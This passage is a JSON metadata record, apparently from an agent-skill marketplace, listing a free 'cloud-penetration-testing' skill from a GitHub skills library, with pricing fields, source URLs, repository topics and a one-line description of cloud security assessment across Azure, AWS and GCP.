'zone':1017,1613","prices":[{"id":"e6921e4b-076e-4ff8-912b-5e64f4f98bc1","listingId":"036239b0-db99-455f-a98b-6d1b1523a19e","amountUsd":"0","unit":"free","nativeCurrency":null,"nativeAmount":null,"chain":null,"payTo":null,"paymentMethod":"skill-free","isPrimary":true,"details":{"org":"sickn33","category":"antigravity-awesome-skills","install_from":"skills.sh"},"createdAt":"2026-04-18T21:34:32.185Z"}],"sources":[{"listingId":"036239b0-db99-455f-a98b-6d1b1523a19e","source":"github","sourceId":"sickn33/antigravity-awesome-skills/cloud-penetration-testing","sourceUrl":"https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/cloud-penetration-testing","isPrimary":false,"firstSeenAt":"2026-04-18T21:34:32.185Z","lastSeenAt":"2026-04-24T12:50:47.109Z"}],"details":{"listingId":"036239b0-db99-455f-a98b-6d1b1523a19e","quickStartSnippet":null,"exampleRequest":null,"exampleResponse":null,"schema":null,"openapiUrl":null,"agentsTxtUrl":null,"citations":[],"useCases":[],"bestFor":[],"notFor":[],"kindDetails":{"org":"sickn33","slug":"cloud-penetration-testing","github":{"repo":"sickn33/antigravity-awesome-skills","stars":34882,"topics":["agent-skills","agentic-skills","ai-agent-skills","ai-agents","ai-coding","ai-workflows","antigravity","antigravity-skills","claude-code","claude-code-skills","codex-cli","codex-skills","cursor","cursor-skills","developer-tools","gemini-cli","gemini-skills","kiro","mcp","skill-library"],"license":"mit","html_url":"https://github.com/sickn33/antigravity-awesome-skills","pushed_at":"2026-04-24T06:41:17Z","description":"Installable GitHub library of 1,400+ agentic skills for Claude Code, Cursor, Codex CLI, Gemini CLI, Antigravity, and more. Includes installer CLI, bundles, workflows, and official/community skill collections.","skill_md_sha":"76584aa85a23cf7f892a975954947e8d44298962","skill_md_path":"skills/cloud-penetration-testing/SKILL.md","default_branch":"main","skill_tree_url":"https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/cloud-penetration-testing"},"layout":"multi","source":"github","category":"antigravity-awesome-skills","frontmatter":{"name":"cloud-penetration-testing","description":"Conduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP)."},"skills_sh_url":"https://skills.sh/sickn33/antigravity-awesome-skills/cloud-penetration-testing"},"updatedAt":"2026-04-24T12:50:47.109Z"}}